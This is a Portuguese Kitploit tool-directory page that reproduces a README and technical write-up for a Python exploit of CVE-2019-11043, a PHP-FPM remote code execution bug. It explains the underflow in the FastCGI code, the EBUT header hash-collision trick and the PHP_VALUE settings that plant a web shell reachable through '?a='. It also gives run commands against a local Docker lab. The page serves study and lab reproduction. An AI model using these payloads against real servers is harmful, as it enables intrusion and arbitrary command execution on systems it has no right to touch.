Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2019-11043 — Exploit de Execução Remota de Comandos em PHP-FPM | Kitploit
Ferramentas/GitHubGitHub/lindemer/cve-2019-11043
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de Payloads
GitHublindemer/cve-2019-11043

CVE-2019-11043

Exploit de Execução Remota de Comandos em PHP-FPM

Ver Repositório
42há 5 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2019-11043

Execução Remota de Código em PHP-FPM

Screencast: https://youtu.be/d6benC5FVZM

Visão Geral

Este exploit de zero-day em configurações comuns de PHP-FPM foi descoberto durante a competição Realworld CTF em 2019. Uma expressão regular é usada para analisar a URI solicitada, mas caracteres de nova linha %0a não são correspondidos. Isso aciona um bug no FastCGI que calcula o comprimento da query string incorretamente e escreve um byte nulo em um local antes do início do buffer pretendido. Por meio da seleção cuidadosa do comprimento da query string, um atacante pode usar este bug para sobrescrever variáveis internas do PHP no servidor e executar código shell arbitrário.

A implementação original deste exploit em Go pode ser encontrada aqui. Eu usei esta, um write-up e o relatório de bug original como recursos de aprendizado para implementar o exploit em Python.

Instruções

Docker no Linux Execute sudo docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043 para instanciar um servidor NGINX/PHP-FPM mínimo com um script vazio em /script.php. O Dockerfile para esta imagem está disponível aqui, embora não seja necessário para executar o comando mencionado.

Docker no Mac Execute sudo docker-compuse up -d a partir do diretório /php/CVE-2019-11043 do repositório vulhub. (O Compose está incluído no Docker for Mac.)

Execute o script do exploit com o comando python3 exploit.py http://localhost:8080/script.php (ou /index.php se a segunda opção foi usada). Após a execução bem-sucedida, um Web shell ficará acessível anexando comandos à URL depois de ?a= (por exemplo, http://localhost:8080/script.php?a=uname -a).

N.B. Eu tentei criar um playbook Ansible para esta tarefa, mas me deparei com um bug crítico documentado aqui. Não é possível iniciar serviços systemd em kernels Linux recentes (por exemplo, qualquer versão LTS do Ubuntu) com um playbook Ansible.

Teoria

Vulnerabilidade

Os arquivos de configuração do PHP-FPM contêm uma regra para corresponder solicitações de URI recebidas a scripts PHP que geralmente se parece com isto:

root@kitploit:~
location ~ [^/]\.php(/|$) {
  ...
  fastcgi_split_path_info       ^(.+?\.php)(/.*)$;
  fastcgi_param PATH_INFO       $fastcgi_path_info;
  fastcgi_pass                  php:9000;
  ...
}

Isso deveria corresponder a qualquer URI no formato /script.php/pathinfo, mas . na verdade não corresponde ao caractere de nova linha %0a. Se a URI contiver uma nova linha, isso acionará o seguinte bug na implementação do PHP:

root@kitploit:~
1141    int ptlen = strlen(pt);
1142    int slen = len - ptlen;
1143    int pilen = env_path_info ? strlen(env_path_info) : 0;
1144    int tflag = 0;
1145    char *path_info;
1146    if (apache_was_here) {
1147        /* recall that PATH_INFO won't exist */
1148        path_info = script_path_translated + ptlen;
1149        tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0));
1150    } else {
1151        path_info = env_path_info ? env_path_info + pilen - slen : NULL;
1152        tflag = (orig_path_info != path_info);
1153    }

O problema aqui é que slen é calculado corretamente como o comprimento da URI menos o comprimento do caminho do recurso, mas pilen é erroneamente definido como 0. Isso define path_info para um valor negativo na linha 1151, resultando em um underflow de buffer. Imediatamente após esse erro de cálculo no mesmo arquivo, temos:

root@kitploit:~
1159    FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info);
1160    old = path_info[0];
1161    path_info[0] = 0;
1162    if (!orig_script_name ||
1163        strcmp(orig_script_name, env_path_info) != 0) {
1164        if (orig_script_name) {
1165            FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);
1166        }
1167        SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);
1168    } else {
1169        SG(request_info).request_uri = orig_script_name;
1170    }
1171    path_info[0] = old;

Na linha 1161, um byte nulo é escrito no local de memória calculado incorretamente na etapa anterior. Isso pode ser aproveitado para explorar uma vulnerabilidade na linha 1165, onde o FastCGI escreve uma variável de ambiente. Ao escrever o byte nulo no ponteiro que controla a operação de escrita da variável de ambiente, podemos inserir variáveis PHP arbitrárias no ambiente com nossas solicitações HTTP.

Exploração

Estruturas de Dados Internas do FastCGI

As variáveis de ambiente no FastCGI são armazenadas em uma sequência compacta de pares de strings chave-valor na memória. O início e o fim do buffer que contém essas strings é chamado de _fcgi_data_seg. O membro pos aponta para o próximo local disponível para escrita. Se o buffer encher (pos > end), um novo é alocado e o membro next aponta para o antigo.

root@kitploit:~
118    typedef struct _fcgi_data_seg {
119        char                  *pos;
120        char                  *end;
121    	   struct _fcgi_data_seg *next;
122    	   char                   data[1];
123    } fcgi_data_seg;

O FastCGI acessa variáveis de ambiente individuais usando uma tabela hash chamada _fcgi_hash.

root@kitploit:~
125    typedef struct _fcgi_hash {
126    	   fcgi_hash_bucket  *hash_table[FCGI_HASH_TABLE_SIZE];
127    	   fcgi_hash_bucket  *list;
128        fcgi_hash_buckets *buckets;
129        fcgi_data_seg     *data;
130    } fcgi_hash;

A ideia aqui é sobrescrever o byte menos significativo de pos para enganar o FastCGI e fazê-lo sobrescrever uma variável existente. O código deveria pegar a string anexada ao nosso caminho de URI e colocá-la no local de PATH_INFO. No entanto, queremos sobrescrever PHP_VALUE, porque esse valor é imediatamente recuperado e carregado nas configurações do PHP após o segmento de código vulnerável.

Alinhamento de Dados

Como você pode ver em exploit.py, a premissa geral deste exploit é encontrar uma query de URI muito longa que alinhe o buffer de memória interno do FastCGI de uma forma que possamos abusar. A ideia é encontrar o número exato de caracteres necessário para que o FastCGI aloque um novo buffer _fcgi_data_seg. Quando isso ocorre, o FastCGI previsivelmente escreverá nosso PATH_INFO no novo buffer, seguido imediatamente por cada um de nossos cabeçalhos HTTP como novos valores de ambiente. Então, o próximo passo é descobrir quantos caracteres precisamos para preencher um cabeçalho HTTP arbitrário, a fim de alinhar a memória para nossos propósitos. Como estamos limitados a escrever um byte nulo em um local arbitrário, precisamos fazer pos apontar para um deslocamento previsível de PHP_VALUE para que, ao editar o byte menos significativo, possamos movê-lo para lá.

Contornando a Tabela Hash

O desafio é que queremos sobrescrever PHP_VALUE, mas não sabemos onde isso está localizado na memória. Quando o FastCGI carrega essa variável, ele aplica hash à string PHP_VALUE para obter o endereço de memória real de acordo com um algoritmo simples:

root@kitploit:~
31    #define FCGI_HASH_FUNC(var, var_len) \
32        (UNEXPECTED(var_len < 3) ? (unsigned int)var_len : \
33        (((unsigned int)var[3]) << 2) + \
34        (((unsigned int)var[var_len-2]) << 4) + \
35        (((unsigned int)var[var_len-1]) << 2) + \
36        var_len)

Em vez de realmente modificar a tabela hash de alguma forma, tudo o que precisamos fazer é criar outra variável de ambiente com o mesmo comprimento de string e o mesmo hash que PHP_VALUE de acordo com esta função. Isso enganará a consulta de hash, fazendo-a ler nosso cabeçalho HTTP em vez da variável pretendida. O autor deste exploit observou, de forma inteligente, que um cabeçalho chamado EBUT será salvo como HTTP_EBUT no ambiente FastCGI, o que atende a esse requisito.

Injeção de Código

Para o ataque em si, enviamos solicitações GET contendo nosso cabeçalho EBUT e usamos o bug de sobrescrita de byte nulo para sobrescrever seu valor. Tentamos definir as variáveis de ambiente do PHP uma por vez com solicitações repetidas:

root@kitploit:~
short_open_tag=1
html_errors=0
include_path=/tmp
auto_prepend_file=a
log_errors=1
error_reporting=2
error_log=/tmp/a
extension_dir=\"<?=`\"
extension=\"$_GET[a]`?>\"

A modificação bem-sucedida de todas essas variáveis permite uma nova query ?a= no servidor para execução arbitrária de código shell. O loop do ataque verifica o sucesso a cada iteração tentando executar which which. O atacante pode facilmente detectar se isso foi bem-sucedido lendo o resultado da resposta HTTP (por exemplo, /bin/which).

Baixar ferramenta